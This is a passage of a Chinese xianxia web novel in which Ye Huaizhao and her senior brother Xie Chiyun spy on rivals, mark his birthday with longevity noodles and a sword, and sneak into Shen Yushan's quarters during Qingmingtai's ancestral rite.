这也是叶怀昭一开始得知林漱雪和桑春不见了,却没有惊慌无措焦急万分的原因之一。 她其实不觉得背后之人抓这她们两个是想将她们杀了,对那人来说,林漱雪和桑春应该另有用处。 谢迟云捕捉到一个词:“符文?” 叶怀昭这才意识到谢迟云似乎不知道当初他们在玉水洞具体干了什么。 “就是宁绥在我们身上留下的符文烙印,”她比比划划地解释,“玉水洞没有任何保护性的符文,于是他便自造了一个:只要我们捏碎符文,就会自动将我们瞬影传送到一开始标记的安全地点。出了玉水洞后这种效果消失,但另外一个感知生死的效果还没到时间,所以还能感知。” 叶怀昭说到这句话时,和谢迟云正好走到了客栈。 她本是走在谢迟云的身后,漫不经心抬眼,却忽地发现了两道站在客栈大门灯笼下的人影。 叶怀昭手比大脑更快地一把拽住了前面谢迟云的衣袖,因为力度过大并且措不及防,硬生生将前面的男人拽得一个踉跄。 谢迟云:“?” 他困惑但顺从地被叶怀昭拽到了拐角阴影处。 叶怀昭扒着墙角,小心翼翼地向外探出半个头,悄悄观察客栈下的那两个人。 看清那两张脸时,叶怀昭在心中轻啧一声。 真是说什么来什么,前一刻还在提起宁绥,转头就碰到了他和他的师尊涂因。 不过无妄仙尊之前不是在闭关吗?怎么这么快就出来了? 叶怀昭嘀咕,听到一点被微风递送过来的碎语。 几盏褪了色的灯笼挂在门前在风中打晃,昏黄的光随着灯笼轻轻颤抖着,晃到站在灯笼下的两个人身上。 宁绥怔怔看着站在台阶上的女子。 她的身上沾着潮湿的水汽,一双黑沉沉的眼眸也似是隔着朦胧的雾气,几乎让人怀疑站在这里的人似乎只是什么如梦似幻的虚影。 他后知后觉地喃喃着:“师尊?” 他伸出手,竟是想通过触碰来确认自己是否又遇到了永远无法挣脱的幻境。 面容冷淡的女子不着痕迹躲开了他的手。 她看着他说:“过两日是青冥台的祭祖仪式,你要随我参加。” 没有什么问候,也没有什么柔情,她只是不容置疑地传达了命令。 相较于她曾经面对自己这个唯一徒弟的温和,此时的态度已经说得上是天差地别的冷酷。 但站在她面前的徒弟却在怔愣一瞬后,忽地笑了起来。 他脸上的笑容越扩越大,最后几乎是控制不住地肩膀颤抖,可那双眼睛却直勾勾地盯着她,在黑夜中泛着幽冷的眼珠几乎有种令人不适的非人 之感。 涂因与他对视了片刻,然后挪开了视线。 她想起自己一开始决定收下这个家破人亡的男孩为徒时,无相宫宫主对她说的话。 他说,你与他绝非善缘。 涂因不在乎他,自然也不会将这句话放在心上。不过后来发生的一系列事情又让她觉得这句谶语似乎正在一一应验。 她没有什么亲近之人,记忆中与父母亲人的相处片段也早已被时间吹散。在面对这个可怜的小徒弟时,总有一种想对他好、又有点无从下手的茫然。 等她终于摸清楚师尊和徒弟应当如何相处时,后者已经完全成长起来,一点也不接受她的抽身后退了。 他已经失控了,他只想让她控制他,可师尊不应该与徒弟有如此微妙的关系。 她并不是很想纵容他肆意妄为,但她又总是在愧疚没有将他教好,让他生出了不该有的念头。 而这样的愧疚反而又让他们之间的纠葛越发难解。 涂因早已到了破镜的边缘,之所以没有破镜,只是因为她的心境还没有被自己挣破。 为了宁绥好、也为了她自己好,他们不该再维持这样纠纠缠缠的关系。 等祭祖仪式后,她就该去天下游历。 时间没有在她的身上留下过多痕迹,却让她知道了一个道理:任何刻骨铭心的情感牵绊都会随着时间而渐渐变淡,直至消弭。 只要不再与她相见,他总该可以走回自己的正道吧。 她如此想到。 宁绥并不知道涂因沉默的这几瞬在思索什么。 他只觉得自己在东阳城浑浑噩噩的日子终于看到了希望。 他不在乎师尊到底是为什么改变想法来见他,也不在意等自己回无相宫后会不会再次被暴怒的宫主关进戒律堂。 他只知道,只要她愿意来见他,那便意味着她还在犹豫,她的心中还放不下他。 他的名字在师尊心中的地位依旧举足轻重。 不知过了多久,宁绥终于收住了笑。 他歪着头,眼睛依旧直勾勾地盯着撇开脸不看他的女子。 “师尊,”他的声音轻缓,尾音消散于月光湿漉漉垂怜的深夜,“……夜深露重,您要去我屋中坐坐吗?” ——这是叶怀昭听到最清晰的一句话。 她睁圆了眼睛,掐着谢迟云胳膊的手指不自觉用力,而后者很给面子地忍住了疼痛没有出声,只是用另只手覆盖了她的手背,试图让师妹意识到她手底下掐着的是个人。 但他们不远处榕树上站立的乌鸦却没有这么自觉。 乌鸦轻轻歪着头,猩红色的眼眸注视着下方的四个人,忽地毫无征兆地拍拍翅膀,嘶哑地叫了一声。 只这一声,有两个人瞬间回头。 感知敏锐的无妄仙尊第一时间意识到了不远处隐藏气息的两人,迅速地和正要伸手触碰她手的男人拉开距离。 而叶怀昭的身边,谢迟云手指掐诀,直接干脆利落地用术法斩断了乌鸦的脖颈。 猩红的鲜血泼在粗糙崎岖的树枝上,在黑夜中留下一道暗色的痕迹。 谢迟云甚至没有理会从身后投来的一道隐隐杀意的眼神,便垂首对叶怀昭道:“师妹,下次如果再遇到这种乌鸦,直接杀了便是。” 叶怀昭若无其事地忽略宁绥投来的目光,干咳一声装作专心致志地问:“为什么?” 感觉上没有任何魔气也没有任何灵力,和普通乌鸦没什么区别,若非谢迟云提起,叶怀昭自己根本不觉得乌鸦有问题。 不过说到乌鸦,在叶怀昭记忆中,谢迟云似乎不太喜欢乌鸦。只要它们接近她,他便会毫不犹豫的动手杀掉。 无论是失忆前还是失忆后,都会这样做。 谢迟云说:“这是山槐和青崖的乌鸦。” 叶怀昭一愣。 ——山槐她认识,青崖又是谁? 她心中隐隐觉得有几分耳熟,像是在哪些犄角旮旯的地方听说过这个名字,只是因为不太重要于是便被她自然而然地忽略了。 还没等叶怀昭心中回忆起来这人是谁,无妄仙尊已经甩开宁绥离开了客栈。 目送涂因离开后,宁绥脸上的笑容一点一点散去。 他目光冰冷地看着叶怀昭,咬牙微笑着说:“怎么,叶仙君晚上还知道回来?怎么就没有直接露宿野外呢?” 他和叶怀昭阴阳怪气,叶怀昭能比他更加阴阳怪气。 她转着自己的发尾,笑眯眯说:“可是我即便是露宿野外,也不会只有我一个人呀。” 她说:“宁仙君又怎么半夜不睡觉,跑到外头淋雨呢?” 宁绥:“……” 虽然从未关注过叶怀昭这几天在干什么,但如今这幅尾巴都要翘到天上去的姿态,一看就知道究竟是谁在纵容着。 他忽然失去了所有说话的欲望,兴致缺缺地翻了个白眼,转身进了客栈。 叶怀昭打好的腹稿没用上,只好遗憾地叹了口气,转头去看谢迟云,直截了当问道:“青崖是谁?” 谢迟云的目光一开始还停留在那只死去的乌鸦身上,听到这句问话后转过头来。 他看着月光下的叶怀昭,沉默半晌后说:“他是山槐同父异母的弟弟。” “是魔界的最不起眼的十三殿下。” 第80章 第八十章长命 谢迟云敲了几下房门也没听到里面动静时,就知道叶怀昭又在装睡了。 如果是之前的乘玉君,出于师兄妹之间该有的距离,他也只会将东西放在门外,然后识趣地转身离开。 但站在这里的并不是乘玉君,而是谢迟云。 他在门前站了片刻,确定里面不会有动静后,选择自己推门走了进去。 屋中还维持着昨晚他被轰出去的样子,桌上买来的宵夜没吃完,冷掉的茶水在杯中显出深褐色,放在桌旁的椅子被跌跌撞撞地踹翻,可怜地倒在地上,水痕一路蔓延至屏风后。 他习惯性地开始给师妹收拾东西——宵夜扔掉、茶水倒掉、椅子扶起来、水痕清理干净。 收拾到一半,谢迟云不动声色地将揉作一团的外衫捡起来搭在架子上,打开外间的窗子通风。 做完这些动作,他才绕过屏风,向蒙着脑袋蜷缩在被子里的少女说:“师妹,我们一会要去青冥台,你再不起就要到晌午了。” 叶怀昭闷闷的声音从被子里传来。 “才到晌午而已,我们的计划可是晚上……”她显然还没睡醒,说话都带着浓郁的鼻音,“去早了还要碰上沈玉山还有他师尊……我不想看见这两人……” 谢迟云走过去,坐到她的床沿,把她从被子里挖了出来。 “我记得我昨晚离开的时候,师妹说要睡觉了,”他单手掐着叶怀昭的脸颊,手指陷在柔软温热的软肉中,问她,“怎么困成这样?” 叶怀昭任由他掐着自己的脸,将碎发乱翘的脑袋往他的颈窝上蹭,闭着眼睛说:“因为我就喜欢睡觉。” 谢迟云:“……” 他捉着她的手腕,把人抱小孩一样地拉进怀里,手动替她穿衣服。 虽然谢迟云长得很不像是会了解女子衣裙首饰的人,但实际上他格外热衷于给自己师妹花钱,看着她穿着自己买的衣裙、带着他买的首饰、开开心心地跳进他怀里时会有一种莫大的成就感。 他尤其钟爱各种颜色鲜艳漂亮的金银玉石首饰。 叶怀昭的下巴搁在他的肩膀上,让抬胳膊就抬胳膊,听话得不得了。 她挂在谢迟云身上,隔了许久穿才渐渐清醒过来,而这时她已经被对方编好了简单发髻,并且挑好了配套发簪耳坠。 叶怀昭稍微动了动,听到了熟悉的环佩轻撞的玉石脆响。 真是很可靠呢,师兄。 她稍稍打了个哈欠,看着男人把带来的食盒在她的面前打开,将饭菜一一端出来。 叶怀昭循着香味走过去,直接下手捏了一个包子塞进嘴里,然后被汤汁烫得嘶嘶抽气,红着眼眶接过谢迟云递来的凉水,咕噜咕噜灌下去。 谢迟云让她不要那么着急,被叶怀昭鼓着脸嘀嘀咕咕反驳:“……我怎么知道里面那么烫。” 她张开嘴,让对方去看自己的舌尖,然后含含糊糊说:“是不是被烫红了?” 谢迟云看了她一眼。 然后缓慢地将目光挪到她湿润的眼眸。 昨天断断续续地下了一天雨,空气中似乎还飘散着湿漉漉的潮意,可天空在今日已经放晴,金光穿过屋檐下未落的水珠,越过窗棂落到了身前少女的脸颊上。 她的眼睑稍稍透出一点薄红,有着细细的青色脉络,像是 纤薄柔软的花瓣一样。 谢迟云看了片刻,然后在她无辜的眼神中慢条斯理地放好手中的东西,垂首勾着她的舌尖亲了下去。 …… 叶怀昭又换了一身衣裙,赤脚踩着他的腿抱怨说:“粥都凉了。” 谢迟云半蹲在地上帮她穿着鞋袜,声音温和道:“没关系,这样师妹就不用被烫到嘴了。” 叶怀昭:“……” 她舔了一下自己微微刺痛酸麻的唇角,用没穿鞋的那只脚踢了他一下他的小腹,被后者一把攥住脚踝,套上干净罗袜。 叶怀昭盯着对方,冷不丁说:“等找到秘宝后,我们就回长风门吧。” 谢迟云:“师妹玩够了?” “什么叫我玩够了?我也在做正经事好不好,”叶怀昭不满地哼哼,“我们的连魂蛊还没剥离,还是回去做那种事情更安全一点吧。” 虽然连魂蛊对她来说没什么影响,但不知道是不是因为连魂蛊是魔族炼制的,总会轻而易举地就能挑起谢迟云压抑的魔气。 后来他也和她坦白过,如果没有连魂蛊的影响,说不定他也不会如此频繁地服用压制魔气的丹药。 有他这样的特例,叶怀昭不得不考虑神/交对他而言是不是更危险。 叶怀昭自言自语:“连魂蛊成熟还剩下多少天来着?” “还剩三十天。”谢迟云说。 叶怀昭眯了眯眼睛,趴在他的耳边嘀嘀咕咕说:“也不知道阿爹和师尊有没有想我,肯定是想的吧,但这两人一个比一个死要面子活受罪,就是不愿意给我寄信。” 她想了想,又道:“还有我种的那些草药,这么久没回去也不知道有没有被别人全部薅走……等我回去一定挨个根据灵力探查!” 她絮絮叨叨地说了很多,谢迟云一直耐着性子听着,眼睑微微垂下,越过叶怀昭肩头的日光在他的眼下落下一层似是扇子的阴影,翘起的唇角隐隐抚平。 他给叶怀昭穿好了罗袜,却没有进行下一步,而是无意识地攥住了她的脚踝,好半晌没有动作。 叶怀昭说了许久也没听到他的声音,不由用脚尖点了点他的膝盖,问他:“你怎么啦,师兄?” 她想了想,说:“你在担心我阿爹还有师尊生气吗?” 在叶怀昭的记忆中,叶珩和时闻筝确实有一段时间总是将谢迟云扔去戒律堂关禁闭,且大多是一些零碎的小事。 现在想来,或许他们眼中天衣无缝的伪装在那些长辈眼里非常拙劣。 “……” 谢迟云眨了下眼睛,若无其事地为她穿上鞋:“的确有一些担心。” 叶怀昭于是开始给他传授怎么哄“阿爹”和“师尊”高兴的技巧——谢迟云对她所说“只要垂着眼睛装哭扮可怜就好了”这件事没有反驳,保持应有的礼貌沉默。 这般拉拉扯扯磨蹭着,等叶怀昭用完早膳,时间已经到了该用午膳的时候。 谢迟云知道叶怀昭如果起得晚了,就会早膳午膳合成一顿吃,便没提及午膳吃什么。 但叶怀昭却让他去东阳城北的茶楼帮她买桃花酥回来。 谢迟云虽然不太理解今日师妹食量怎么这么大,但还是去为她跑了一趟。 他的脚程很快,但没想到茶楼专门买桃花酥的人很多,还是等了好久才买到,回来时却发现叶怀昭没在屋中。 他将桃花酥放下,出门找了小厮,却听对方说叶仙君去了客栈的厨房,说要短暂借用一下。 谢迟云轻轻挑眉,循着小厮的指路走进厨房,推开门时正好要和出门的叶怀昭撞个正着。 叶怀昭:“!” 她被吓了一跳,眼见手上端着的瓷碗就要掉在地上,谢迟云顺手接了过来,随口说:“师妹饿了吗?” 叶怀昭下意识想从他的手中将碗夺回来,又硬生生止住,瞪着他说:“你怎么回来得这么快?” 谢迟云:“师妹不想我回来得这么快吗?” 他意识到了什么,转头去看自己手中接下的瓷碗——碗中盛着热腾腾的面条,几片青菜叶子飘在上方。 谢迟云忽地怔住了。 叶怀昭一边推着他往回走,一边语速飞快说:“我尝试了好久也只能做成这样,我的厨艺就是这样就算一会你吃着难吃也不许嫌弃我!” 谢迟云站住身子。 “……这是师妹给我做的?”他的尾音微微上扬,有些飘忽不定。 叶怀昭微微抬着下巴,反问他:“除了你,还有谁是今日生辰吗?” 她看着谢迟云的表情,心中升起几分不妙:“……等一下,难道你不是今日生辰?” 不应该啊,虽然当时阿爹只说了一遍,但她当时应该没记错吧? ……应该没记错吧? 谢迟云看着她怀疑人生的表情,忽地弯着眼眸笑出声:“今日的确是我的生辰。” 叶怀昭松了一口气的同时又忍不住炸毛地瞪向他:“你是不是故意耍我!” “没有想耍师妹,”谢迟云推开门,走进去时将叶怀昭抵在门边,轻声说,“我只是……没有想到你会记得。” 叶怀昭觉得有点莫名其妙:“为什么我会不记得?” 谢迟云心想,因为我不记得。 他从来都不觉得自己的出生是一件值得庆祝的事情。 他的出生意味着谢挽情被迫留在她厌恶的魔界;意味着万秋遥永远也无法与她的师妹相见;意味着世上多了一个无法控制自己能力、随时可能崩溃的半魔。 在来到长风门之前,谢迟云并不觉得这个日子和其他日子有什么区别。 但似乎无论是叶珩还是叶怀昭,他们都愿意替他记得他不愿记住的日子。 叶怀昭从他的怀里钻出来,将他按到桌旁,不知从哪又摸出来一个匣子。 谢迟云依着她的话打开,手指一顿。 “这是上次我去丹河秘境寻到的坎水剑意,然后让器修打造成了上品仙器,”叶怀昭清了清嗓子,别扭地说,“你之前的那把剑不是在无忘川被折断了吗,在修好之前……师兄可以先将就着用这把剑。” 她一边说,一边悄悄用余光去扫谢迟云的神色。 ……没有皱眉,没有抿唇,应该是高兴吧?但是一直盯着不说话是什么意思? 叶怀昭在心中困惑地想,冷不丁听到她面前的青年说:“师妹,我很喜欢。” 除了故意逗人外,谢迟云其实很少如此直接地表达自己的情绪。 叶怀昭听得一愣,而后压住唇角,故作平静说:“反正我送给你了,想不想用随你,就算不喜欢也不许退回来。” 她看着谢迟云慢慢地吃完长寿面、收下贺礼。 最后,叶怀昭懒洋洋地趴在谢迟云的肩膀上,轻声说:“师兄,既然你吃了长寿面,那就一定会长命百岁、千岁,一辈子做我的师兄。” 谢迟云垂着眼,声音比她还轻缓:“下辈子呢?” 叶怀昭想了想,忽然用了点力在他的脖颈上留在一个浅浅的牙印。 她眯了眯眼睛,高深莫测说:“下辈子怎样,要看你这辈子表现如何——我已经记住你了,你若是对不起我,我就生生世世、永生永世地追杀你。” 谢迟云弯了弯清透的眼眸。 “师妹,”他轻声说,“你会如愿的。” “我会一辈子做你的师兄,而你也会永远是我的师妹。” 叶怀昭满意了。 她问他:“你许了什么心愿吗?” 叶怀昭曾听师尊说过,魔界那边生辰日似乎还会让寿星许下一个心愿写在纸上,放进河中,让心愿随着河流飘荡汇入无忘川,最终经过坤脉走过整个人世间。 谢迟云垂首亲了她的眉心一下,慢吞吞说:“一个不能告诉师妹的心愿。” 叶怀昭鼓了鼓脸:“不说就不说。” 谢迟云 好笑地又亲了她一下。 这是不能告诉叶怀昭的心愿。 他希望师妹能够长命百岁、千岁,一生无虞。 ——无论他是否还能留在她的身边。【魔蝎小说 mo xie xs .c om】 80-90 第81章 第八十一章祭祖仪式 青冥台的祭祖仪式会持续整整三日。 今天是第一日,不少仙门都派人过来为青冥台送了贺礼,各种稀世的珍宝流水般地送入青冥台,又被专门负责的仙师记在簿子上,带着弟子搬入侧殿。 叶怀昭和谢迟云特意等了黄昏日落的时候才来,但青冥台门外聚集的人依旧很多。 他们越过在外围观的城中百姓走进去,被等在山门口的苏白一眼发现。 他摆脱了身旁闲聊的散修,走到叶怀昭的身旁笑道:“叶师妹,我可是在这等了你半天,差点以为你要放我鸽子了。” 叶怀昭:“齐元明没和你在一块吗?” “他是内门弟子,被抓去准备仪式了,忙得脚不沾地。” 苏白解释了一句,将扇子抵在面前挡住嘴唇,小声说:“我和齐兄去看了死去的鬼修。戒律堂那边的人说她本身就身患重病,又和我们打了一架,被关进地牢的时候状态就不怎么好,所以关了一夜后就猝死了。” 叶怀昭:“她的确患有重病,但不至于这样简单就猝死。” 苏白:“没错,我就是这样说的。” 他们两个都是医修,虽然那晚没有仔细探查过鬼修的身体,可交手时也被动了解了一些对方的身体状况。 “但是青冥台不让我去检查尸首,说是已经处理掉了。”说到这里,他摊开手,“鬼修的性子孤僻,没有朋友,仇人也就只有一个齐元明。如果不是我们去问,她的死不会引起任何人注意。” 叶怀昭思索:“她死得蹊跷,谁那么快下令把她的尸首处理掉的?” 苏白:“是沈玉山。他说今日便是祭祖仪式,按照规矩不能在宗门中留着死人尸体,就让戒律堂的人把鬼修的尸首处理了。” 他一面说,一面小声道:“他这人瞧着面善,心倒是很冷硬。我就说这种每天都笑眯眯一副好说话的人一定不是善茬吧。” 叶怀昭没接这话。 谢迟云也没对这句话发表意见,只缓缓说:“如果她的死不是意外,那就说明杀她并不是出于与鬼修的仇恨,而是杀了她对凶手而言能获得某种利益。” 叶怀昭拾阶而上,重重叠叠的宫殿屋脊在她的眼前缓缓升起,最终与融金似的落日相接,留下沉郁古老的色调。 她想了想,说:“如果她想保护齐元明,就必然和他噩梦中的阵法祭坛接触过。她又是鬼修,对此类术法应当很是了解,若是给她一点时间,说不定真能让她发现一些蛛丝马迹,进而破坏施展此阵之人的计划。” 谢迟云和苏白都听懂了她的未尽之言。 苏白思考片刻,说:“我让齐兄打听过那晚有谁去过地牢,如果硬要说谁可能与魂魄之术有关的话……” 他将扇子“啪”地一声合上,用扇尖指向站在云水三千尽头的男人。 他的神色不变,嘴唇的动作微不可察:“只有他。” 青冥台的正殿前,身穿祭祖仪式特殊衣袍的男人正微蹙着眉和旁边的弟子确认仪式准备的情况。 他听了片刻,简单吩咐几句后,又是另外一个弟子凑上前来询问何时去请仙首。 云水三千的正殿前有不少仙师,可只有他身边围绕的弟子最多。 叶怀昭打量着沈玉山。 众所周知,青冥台的大师兄天生魂魄虚弱,甚至到了影响修为的地步。如果说青冥台中何人需要修补魂魄,无人能比沈玉山更急切。 甚至如果他将阵法祭坛放到青冥台,按照他对青冥台的掌控,只要将自己的师尊庄仙首瞒住,就不会有第二个人发现。 想到这里,叶怀昭的思绪忽地顿了一下。 而她身旁的谢迟云观察了一番周围,问道:“庄丹雪在哪里?” 苏白一愣。 反应过来后,他微微睁大眼睛,语气微妙:“好像……今天一整天都没见到她。” 就在这时,青冥台正殿前方的青铜古钟忽然无风自动,发出一声比一声浑厚磅礴的声响。 这几道声响饱含灵力,传至远方时甚至将聚拢的云层也冲散得破碎,下方嘈杂的人声渐渐停歇。 白发的仙首在众人瞩目下缓缓入场。 几日不见,他的面色在众人看来甚至比在无相宫出现时还要差,显然他的身体状况已经是强弩之末。 可在神态却格外平静,开口时的声音在术法加持下扩散至云水三千更远端的位置。 “祭祖仪式,开始。” 祭祖之乐奏响的时候,站在涂因身旁的宁绥百无聊赖地将目光向人群中扫了一眼。 因为自己师尊的缘故,他站的位置还算高,只一眼就能将整个云水三千尽收眼底。 他依稀记得自己方才偶然一瞥瞧见了长风门那对师兄妹,但是现在再看时那两人已经不见了,原本的位置只有一个医修还留在原地。 他不动声色地挑了下眉。 这两人又去哪里了? ——叶怀昭正和谢迟云悄无声息地潜入青冥台内门地界。 青冥台的祭祖仪式和其他门派不同,特意将其放在了日落黄昏之时,据说是因为当年青冥台祖师爷建宗立派就是这时候,并且规定后世祭祖时就连一瞬一息也不能错。 但是这倒是方便了叶怀昭和谢迟云的潜入。 夜黑风高,整个青冥台内门都静悄悄的,只有微凉的风吹拂苍天古树,发出树叶婆娑的细碎声响。 外门正在进行祭祖仪式,青冥台的几位仙尊和仙首都在外门祭台,而青冥台的祭祖仪式又是出了名的繁复冗长,没有个把钟头都不会结束。 青冥台的内门只有几个弟子还在各处禁地巡逻。 但叶怀昭和谢迟云此行并不是奔着青冥台禁地去的。 叶怀昭回忆着苏白转述齐元明告诉她的内门分布,悄悄观察着在黑夜中显得尤为寂静的庭院。 她压低了声音说:“……这应该就是沈玉山的住所吧?” 谢迟云无声地打量周围环境。 这里是青冥台内门更深的地界,但与青冥台仙首居住的楼阁相距很远,几乎呈对角线的距离。 如果按照沈玉山在青冥台中的地位和庄黎对他的重视程度而言,他不该住在这么偏远的位置。 ——反倒是庄丹雪的住所位置距离庄黎很近。 这是说庄黎虽然信任沈玉山,但更亲近的人还是自己的女儿庄丹雪吗? 谢迟云暂且将这些疑问压下,同样轻声说:“周围有一些监测灵力的阵法。” 这是修真界保护府邸的常用手段。除了监测灵力和反馈府邸主人外,还有一些阵法或禁制可以攻击未有灵力录入、擅闯府邸之人。 叶怀昭手指掐诀:“看见了。” 她一边说着,一边拿出自己早已准备好的符箓,一人一张贴在她和谢迟云身上。 在谢迟云的目光中,她理直气壮地说:“怎么啦,我这叫有备无患。你看这不就用上了。” “我不是说这个。”谢迟云将符箓抚平,温声说,“这附近还有几道检测魔气的阵法。” 他给自己套上反检测的术法。 叶怀昭:“……” 她不甘心的问:“你什么时候学的这个?” 谢迟云率先一步走进阵法的监测范围。 “之 前在平清城,师妹当着我的面施展显形术的时候。“他的声音带着几分笑意。 ——合着你当时问我这显形术是否对魔族适用,就是为了以后让我发现不了你是吧! 叶怀昭气呼呼地跟着他一同走进庭院。 远处祭祖的礼乐遥遥响起,又是几道雄浑厚重的撞钟声传来,微风将屋檐下悬挂的风铃吹得叮叮晃动。 沈玉山的住所很有沈玉山的风格。 ——非常简朴。 叶怀昭四处转了一圈,皱着眉对谢迟云说:“这里真的是他住的地方吗?” 谢迟云:“按照青冥台弟子的记忆来说,是的。” 也无怪乎叶怀昭会怀疑。 若说是简朴,叶怀昭昨日才去过的封爻府邸也很简朴,可他的房中就留有生活过的痕迹。 但眼前这座屋子太过干净了。 干净到几乎没有人气,根本不像是有人生活在这里。 叶怀昭不信邪的用灵识又观察了一遍,不得不承认这里的确有沈玉山留下的灵力痕迹。 这就奇怪了。 为什么一个住所中只有灵力痕迹、却没有生活痕迹呢? “要么是他另有住所,”谢迟云说,“要么就是,他根本不需要在这里‘生活’。” 修真界中也不是没有完全与世俗生活隔离的修士。 不吃饭、不喝水、不睡觉……所有与世俗生活有关、与凡人生活有关的习惯尽数抛开,只做“仙人之事”。 叶怀昭:“可修炼此术的人基本对凡世没有留恋……但沈玉山不像是与凡世完全剥离的人。” 甚至叶怀昭觉得他的权欲之心还挺重的。 她觉得现在的情况有点棘手。 没有什么线索,但叶怀昭还是有点不甘心。 就在她思索着要不要再仔细搜查一遍时,忽地被谢迟云一把捂住嘴,拉着她反应极快地瞬影移至苍郁古树的交错枝条之中。 几乎在他们的身影消失的瞬间,庭院的大门忽然被打开了。 依旧穿着祭祖仪式衣袍的沈玉山出乎意料地站在推开的大门外面。 叶怀昭屏住了呼吸。 ——沈玉山怎么这么快就回来了?他发觉什么了吗? 树枝狭窄,无处下脚。叶怀昭不得不踩着谢迟云的脚,整个人缩在身后男人的怀抱中。 他们两人贴得很紧,她几乎能感觉到对方温热的呼吸扑在她的后颈,吹起她后颈的碎发。 可此时无论是谢迟云还是叶怀昭都没有注意到这暧昧的距离。 叶怀昭睁大了眼睛,看见不知为何回到住所的沈玉山站在大门处。 他没有第一时间进来,似乎在仔细检查着周围的阵法。 随着时间的推移,叶怀昭甚至开始觉得自己的心跳声在寂静的庭院中震耳欲聋。 她一动不敢动,直到眼睛都因为长时间没有眨动而感到干涩疼痛,才看到沈玉山收回目光,抬脚迈入庭院。 他似乎是去屋中取了什么东西,叶怀昭看不见他拿了什么,只发觉他的脚步似乎很是匆忙,应该不是发现了她和谢迟云的潜入。 她在心中悄悄松了一口气。 谢迟云手下环抱的少女身体逐渐放松,没等他稍微换一个姿势,下一瞬又立刻绷紧僵硬起来。 叶怀昭眼睁睁看着走出寝屋的沈玉山本是要离开,却忽然停住脚步。 顺着他的目光,叶怀昭看到他们藏身的树下,飘落在池面上翠绿的树叶。 沈玉山院中的古树苍郁挺拔,枝叶茂盛。 除非树叶干枯,在没有外力作用下,轻易不会有树叶飘落。 沈玉山可以认为那格格不入的叶子是被风吹下来的。 他自然也可以认为,是有人碰掉了树叶。 叶怀昭的心中顿时咯噔一声。 如果不站在树下抬头,在漆黑的夜中是看不见藏在枝叶掩映间的两个人的,更何况他们还加持了隐匿气息的术法符箓。 可再精妙的隐匿气息符箓,也架不住一个人站在咫尺的距离仔细观察啊。 她的心顿时提到了嗓子眼里。 叶怀昭睁着眼睛,看到原本要走的沈玉山忽地脚步一转,向着他们的方向走来。 一步、两步、三步…… 他的脚步声与远处隐隐传来的礼乐声重叠,踩着叶怀昭的心跳声精准地响起,就像有一把锋利的刀在一点一点逼近她的脖颈。 叶怀昭不自觉地喉头微动,忽然感觉谢迟云稍微松开一点她的肩膀,听到对方沉默地在心中对她说:【一会我会将他引走,师妹去屋中观察他拿走了什么东西。】 叶怀昭莫名开始庆幸此时他们还没来得及剥离连魂蛊。 她无声地点头。 她的目光紧紧锁着缓缓接近的沈玉山,同时听到谢迟云在心中倒数。 【三】 【二】 ——“沈仙君。” 刹那间,一道冷淡的声音几乎重叠着谢迟云倒数的声音响起。 谢迟云紧急刹住了他将要拔剑的动作,和叶怀昭同时向庭院的门口看去。 沈玉山也和他们一样回头。 不远处,没有穿祭祖仪式衣袍的清瘦男人站在夜风中,宽大的衣袖被吹得猎猎作响。 他不耐地皱了下眉,将自己的衣袖拢住,声音平静说:“沈仙君,你现在可有事?我想同你聊聊。” 差一点就要走到树下的沈玉山微微眯起眼睛,打量着站在门口的男人。 不知他在心中想了什么,片刻后,他忽然顺从地转过身,轻笑一声说:“您想和我聊什么呢……” “封堂主。” 第82章 第八十二章沈玉山 青冥台的内门位于树林掩映的深山当中,各处都设有老祖宗们留下的禁制阵法,唯有经过拜师礼、得到仙首认可,方能在内门中自由行走。 叶怀昭和谢迟云需要用其他手段才能躲过禁制追踪,但封爻和沈玉山并不需要。 被风雨打落的枝叶花瓣落在石子路上,踩过时发出轻微细碎的声响。 一片沉默中,沈玉山的声音率先响起:“封堂主,听说您家中昨日遭了贼,那贼还打伤了您,不知那贼人可否已经捉拿归案?” 他温声说:“若是需要有人帮忙,您尽管开口。” 封爻:“你从何处听说我家中遭贼的?” “嗯?”沈玉山像是有些诧异,“内门弟子中都已传遍了——啊,若您想问的是最初是谁传出此事的,我也不知道。” 封爻的心中一沉。 见到叶怀昭的事情他没有告诉过任何人。 ——是谁在监视他?还是叶怀昭本人特意泄露的? 封爻不自觉地抿了抿唇,看见沈玉山摊开手,神色有些无奈。 “您知道的,我这几日为了祭祖仪式的事忙得不可开交,对门中事情的关注少了一些。不过您若是想知道是谁在议论此事,等过几日不忙了,我可以帮封堂主找找。” “不用。”封爻拒绝。 他的语气干脆,乍一听上去像是不留情面。 但沈玉山早已习惯了他的语气,只是挑了挑眉,没再说什么,而是换了个话题:“所以,如果封堂主如果不是因为此事来找我,那是想聊什么事呢?” 他想了想,委婉道:“如果封堂主不着急,或许可以等明日,我请封堂主于院中细聊。” 封爻知道他这样说是因为祭祖仪式还在进行中,他还需要赶紧回祭坛盯着流程。 但封爻就是故意挑着这时候来找他的。 只有这时候,庄黎才无法第一时间注意到他。 封爻停住脚步,深绿藤蔓在两人身后的玉石柱上紧紧缠绕,禁制上的雄浑剑意似有似无地传来。 他看着沈玉山,沉声说:“为什么天和依旧没有任何音讯?” 沈玉山怔了一下。 他状似回忆着,停顿片刻后才缓缓说:“天和师弟……我已经派人去玉水洞仔细搜寻过三次、也让戒律堂追踪了他的灵力,但只找到了天和师弟的断剑。” 封爻自南境远赴东境青冥台拜师修炼,几十年过去依旧孑然一身,只在十年前收了一个父母皆被魔族杀害的男孩为徒。 男孩的修炼天赋很好,性子也宽厚老实,很令人省心。 即便封爻这个冷情冷意、本想一个人孤独到老的人都有了恻隐之心,这些年中对他耐心教导,倾注了很多心血。 但世事难料。 在两年前,宋天和去玉水洞历练,至今音讯全无。 沈玉山犹豫一瞬,试探着说道:“封堂主,已经过去两年了,若天和师弟还活着,他一定会回青冥台。如今这般情况,恐怕……已经遭遇不测了。” 这是戒律堂给出的调查结果。 封爻一开始并不相信。 他自请调去了望水城,日日夜夜地在玉水洞外停留,甚至还亲自去玉水洞走了好几趟。 两年过去,他终于渐渐接受了这个事实。 就像他曾经留不住自己的亲人一样,他也留不住自己的徒弟。 他已经心灰意冷——如果在昨日没有遇到叶怀昭的话。 封爻黑漆漆的眼眸盯着面前温和微笑的青年。 掌门身体抱恙,眼见时日无多,青冥台的一些仙师暗地中都在沈玉山和庄丹雪之间选择站队。 封爻不关心宗门事务,自然也不怎么关注沈玉山的情况。 但即便如此,他也知道此人 在青冥台中极有威信。 很多人都说,若非他的确与仙首长得一点也不像,几乎会以为他比庄丹雪更像庄仙首的亲生孩子。 